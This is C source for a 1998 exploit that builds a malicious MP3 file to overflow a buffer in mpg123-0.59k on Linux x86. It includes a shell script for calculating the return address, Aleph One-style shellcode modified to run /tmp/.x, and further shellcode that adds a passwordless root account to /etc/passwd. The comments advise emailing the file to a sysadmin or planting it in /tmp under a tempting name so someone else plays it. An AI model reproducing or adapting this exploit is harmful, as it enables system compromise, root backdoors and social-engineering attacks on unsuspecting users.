/*
** Exploit for mpg123-0.59k, Linux x86.
**
--- calcaddr.sh START
#!/bin/sh
perl -e 'print "RIFF" . "A"x56'>bof.mp3
mpg123 bof.mp3 2> /dev/null
echo info all-registers \
|gdb mpg123 core 2>/dev/null|egrep "^esp"|awk '{print $2}'
rm -f bof.mp3
--- calcaddr.sh END
**
** Give the address shown by calcaddr.sh as the first argument to
** this exploit, and it will handle the rest.. (e.g. subtract 0x4C
** from the address given) OBS! If you do what the script does manually
** you will not get the same result. Then CALCOFFSET should be 0x34 instead.
**
** mpg123-0.59o is not vulnerable, previous versions not checked.
**
** DESCRIPTION:
**
** Makes an MP3-file that executes a program when played with mpg123-0.59k.
** Will be more useful when I have succeded in making it add an account,
** the problem is that we only have 48 bytes to work with and my code
** to add a new account takes 93 bytes.
**
** For those who have not understood that yet, the trick is too get
** *someone*else* to play the MP3 using mpg123. You could for example
** mail the file to the sysadmin or just have it in /tmp and name it
** something like k3w1-mUz4c.MP3 or whatever may seem appropriate. :-)
**
** Plan:  In the 48 bytes I can put my code I'll make a routine that
**just allocates a buffer, reads in the 93 bytes required to add
**an account and jmp's to the beginning of the code.
**
** (C) 1998/10/31, Joel Eriksson - Chaoz on IRCNet.
**
** Disclaimer: This program is for informational purposes only.
** I can not be held responsible for any use or misuse
** of this program. And so on, the usual stuff..
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>

#define ADDRLEN 4
#define DEFAULT_OFFSET  -0x88;
#define CALCOFFSET  -0x4C
/*
** When the address is calculated in a subshell (e.g. using the script
** included with this sourcecode) the offset is -0x4C, but when it is
** calculated manually in the lowest shell-level the offset is -0x34.
*/
#define MP3NAME "bof.mp3"

const char FILLCHAR =   '.';

/*
** Standard shellcode, made by Aleph One, published in Phrack #49
** Modified to execute /tmp/.x instead of /bin/sh.
**
** /tmp/.x could for example add an account, create a SUID-root shell
** or if run by an ordinary user add an entry to their .rhosts, create
** a SUID-user shell or something else that seems like a good idea.
*/
char shellcode[] =
  "\xeb\x1f"  // jmp  0x1f
  "\x5e"  // popl %esi
  "\x89\x76\x08"  // movl %esi,0x8(%esi)
  "\x31\xc0"  // xorl %eax,%eax
  "\x88\x46\x07"  // movb %al,0x7(%esi)
  "\x89\x46\x0c"  // movl %eax,0xc(%esi)
  "\xb0\x0b"  // movb $0xb,%al
  "\x89\xf3"  // movl %esi,%ebx
  "\x8d\x4e\x08"  // leal 0x8(%esi),%ecx
  "\x8d\x56\x0c"  // leal 0xc(%esi),%edx
  "\xcd\x80"  // int  $0x80
  "\x31\xdb"  // xorl %ebx,%ebx
  "\x89\xd8"  // movl %ebx,%eax
  "\x40"  // inc  %eax
  "\xcd\x80"  // int  $0x80
  "\xe8\xdc\xff\xff\xff"  // call -0x24
  "/tmp/.x";  // .string "/bin/sh"
// 46 bytes

/*
** To execute something else than /tmp/.x just change the last string,
** but remember that it must be a 7 bytes string. It's possible to
** change the shellcode to execute a command with a longer path than
** 7 bytes by changing the offsets from %esi, which is not too hard
** if you know some assembler.
*/

/*
** Code to add user to passwd-file, made by me. Not used in this
** particular exploit yet, but ideally it'd be read in and executed
** by the 48 bytes that I have used to execute a shell in this exploit.
** This way the exploit becomes more interesting since it can be exploited
** remotely. We need to do some stackprediction though..
**
** If someone makes an exploit that uses this code, make sure to include
** me in the greetings.
*/
char addusercode[] =
  "\xeb\x3d"  // jmp  0x3d
  "\x5e"  // popl %esi
  "\x89\x76\x1a"  // movl %esi,0x1a(%esi)
  "\x31\xc0"  // xorl %eax,%eax
  "\x88\x46\x0b"  // movb %al,0x0b(%esi)
  "\x83\xc6\x0c"  // addl $0x0c,%esi
  "\x89\x76\x12"  // movl %esi,0x12(%esi)
  "\x83\xee\x0c"  // subl $0x0c,%esi
  "\x31\xc0"  // xorl %eax,%eax
  "\x88\x46\x19"  // movb %al,0x19(%esi)
  "\x8b\x5e\x1a"  // movl 0x1a(%esi),%ebx
  "\x31\xc9"  // xorl %ecx,%ecx
  "\xb5\x04"  // movb $0x4,%ch
  "\xb1\x01"  // movb $0x1,%cl
  "\x31\xc0"  // xorl %eax,%eax
  "\xb0\x05"  // movb $0x5,%al
  "\xcd\x80"  // int  $0x80
  "\x89\xc3"  // movl %eax,%ebx
  "\x8b\x4e\x1e"  // movl 0x1e(%esi),%ecx
  "\x31\xd2"  // xorl %edx,%edx
  "\xb2\x0d"  // movb $13,%edx
  "\x31\xc0"  // xorl %eax,%eax
  "\xb0\x04"  // movb $0x4,%al
  "\xcd\x80"  // int  $0x80
  "\x31\xdb"  // xorl %ebx,%ebx
  "\x31\xc0"  // xorl %eax,%eax
  "\xb0\x01"  // movb $0x1,%al
  "\xcd\x80"  // int  $0x80
  "\xe8\xbe\xff\xff\xff"  // call -0x46
  "/etc/passwd."  // .string "/etc/passwd"
  "r00t::0:0:::\x0a"; // .string "r00t::0:0:::\n"
// 93 bytes

unsigned long getsp()
{
  __asm("mov %esp, %eax");
}

int main(int argc, char **argv)
{
  unsigned long addr;
  char *addr_ptr = (char*)&addr;
  int fd, i;
  char *filename = MP3NAME;

  addr = getsp() + DEFAULT_OFFSET;

  if(argc > 1)
    {
      /*
      ** This is UGLY coding. :-) strtol() overflows for some reason
      ** when just doing one strtol() on argv[1].
[2000]*/
      char *strptr = argv[1];
      char *numptr;
      char cur[3];
      char temp;
      int i;

      memset(addr_ptr, 0, ADDRLEN);
      memset(cur, 0, 3);

      if(!strncmp(strptr, "0x", 2)) strptr += 2;

      for(i=0; i<ADDRLEN; i++, strptr+=2)
        {
          strncpy(cur, strptr, 2);
          numptr = (char*)&addr_ptr[(ADDRLEN-1)-i];
          *numptr = strtol(cur, (char**)NULL, 16) & 0xFF;
        }

      addr += CALCOFFSET;
    }
  else
    {
      fprintf(stderr, "Warning: Returnaddress may not be accurate.\n");
      fprintf(stderr, "Use calcaddr.sh (included) to be more precise.\n\n");
    }
  if(argc > 2) filename = argv[2];
  if(argc > 3)
    {
      fprintf(stderr, "Usage: %s [<address>] [<filename>]\n", argv[0]);
      exit(1);
    }
  if((fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0644)) == -1)
    {
      perror("open");
      fprintf(stderr, "Could not create %s\n", filename);
      exit(1);
    }

  printf("Using address: 0x%lx\n", addr);

  write(fd, "RIFF", 4);
  write(fd, shellcode, strlen(shellcode));
  for(i=0; i<48-strlen(shellcode); i++)
    write(fd, &FILLCHAR, 1);
  for(i=0; i<4; i++)
    write(fd, &addr_ptr[i], 1);

  printf("\nMP3 created in %s.\n", filename);

  exit(0);
}

/*www.hack.co.za*/
